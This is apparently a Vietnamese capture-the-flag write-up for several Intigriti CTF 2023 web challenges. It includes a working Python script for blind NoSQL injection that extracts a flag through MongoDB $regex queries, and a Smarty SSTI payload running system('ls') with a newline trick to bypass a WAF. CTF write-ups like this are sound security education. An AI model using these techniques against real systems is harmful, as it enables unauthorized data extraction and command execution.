## Bug Bank URL: https://bugbank.ctf.intigriti.io Trang web cung cấp cho ta hai options là transfer bug và settings ![image](https://hackmd.io/_uploads/Bk_555v4T.png) Ở Settings ta có upgrade preimum với 10000 bugs để get flag ![image](https://hackmd.io/_uploads/Sy6Io9wNT.png) Tận dụng gadget transfer bug ý tưởng của mình là tạo ra 2 account để transfer bug, tuy nhiên chúng ta ko có bug nào có thể trao đổi vậy ta hãy trick một chút ![image](https://hackmd.io/_uploads/HyeepnqwE6.png) ![image](https://hackmd.io/_uploads/H1g02qDNa.png) Done !!! we have 10000 bugs Upgrade để lấy flag ![image](https://hackmd.io/_uploads/BJTbTqw4a.png) Có một cách khác là sử dụng Dom Clobbring https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering. Bạn có thể tìm hiểu cách đó thông qua đây but trick is king. ## CTFC URL: https://ctfc.ctf.intigriti.io/ ![image](https://hackmd.io/_uploads/Bkm40qPEp.png) Có vẻ nó cung cấp cho chúng ta một trang web giúp submit flag :> Đi sâu vào source code mình tìm thấy có vẻ params "challenge_flag" tồn tại một lỗ hổng blind nosql https://book.hacktricks.xyz/pentesting-web/nosql-injection ``` from flask import Flask,render_template,request,session,redirect import pymongo import os from functools import wraps from datetime import timedelta from hashlib import md5 from time import sleep app = Flask(__name__) app.secret_key = os.environ['SECRET_KEY'] # db settings client = pymongo.MongoClient('localhost',27017) db = client.ctfdb def createChalls(): db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"}) db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"}) db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"}) # login check def check_login(f): @wraps(f) def wrap(*args,**kwrags): if 'user' in session: return f(*args,**kwrags) else: return render_template('dashboard.html') return wrap # routes from user import routes @app.route('/') @check_login def dashboard(): challs = [] for data in db.challs.find(): del data['challenge_flag'] challs.append(data) chall_1 = challs[0] chall_2 = challs[1] return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2) @app.route('/register') def register(): return render_template('register.html') @app.route('/login') def login(): return render_template('login.html') @app.route('/logout') def logout(): session.clear() return redirect('/') @app.route('/submit_flag',methods=['POST']) @check_login def submit_flag(): _id = request.json.get('_id')[-1] submitted_flag = request.json.get('challenge_flag') chall_details = db.challs.find_one( { "_id": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(), "challenge_flag":submitted_flag } ) if chall_details == None: return "wrong flag!" else: return "correct flag!" # wait untill mongodb start then create the challs in db sleep(10) createChalls() ``` Ta có thể thực hiện dumping data via regex trong mongodb bằng cách sử dụng "$regex" Điều này khá giống với challenge Area51 mà mình gặp trong BuckeyeCTF bạn có thể tham khảo nó qua đây https://hackmd.io/@cuongchien/buckeyctf2023 #### Solve Script ``` import requests import string URL = "https://ctfc2.ctf.intigriti.io/submit_flag" chars = string.ascii_letters + string.digits + "_{}?!" cookie = 'session=eyJ1c2VyIjp7Il9pZCI6ImQ1MzA5YWE2MjVhMDQyMjliYTU4YzIzNTY1Y2Q2YjM0IiwidXNlcm5hbWUiOiJsMW54MW4ifX0.ZVixOA.w4LlWmwM6yjVhz7zNVXKHFE0-dI' headers = { 'Cookie': cookie, 'Content-Type': 'application/json' } def exploit(): val = "" while True: for c in chars: print("Trying " + c) cur_val = val + c regex = "^INTIGRITI{" + cur_val # flag's format data = { "_id": "_id:3", "challenge_flag": {"$regex": regex} } res = requests.post(URL, json=data, headers= headers) if "correct flag!" in res.text: val = cur_val print("Found flag is " + val) break print("Flag is " + val) exploit() # Flag: INTIGRITI{h0w_1s_7h4t_PAWSIBLE?!} ``` # Smarty Pants ![image](https://hackmd.io/_uploads/rJfubsP46.png) Challenge sử dụng template Smarty. Có vẻ template này tồn tại lỗ hổng SSTI vấn đề bây h là làm sao ta bypass được blacklist kể trên ![image](https://hackmd.io/_uploads/HyP7ziDEp.png) CRLF !!! sử dụng %0a chúng ta có bypass qua WAF bằng cách dùng "\n" trong payload: {system('ls')%0a} ![image](https://hackmd.io/_uploads/HyrJ7iwV6.png) Ok done !!! Lầy flag ![image](https://hackmd.io/_uploads/SJyfXiPE6.png) # Pizza Time Challenge này mình stuck trong một khoảng thời gian vì có vẻ như ta bị filter command length thì phải tuy nhiên ta có thể dụng request.headers.get :>!!! Yeah !!! I'm here ![image](https://hackmd.io/_uploads/r1kHEjvVp.png)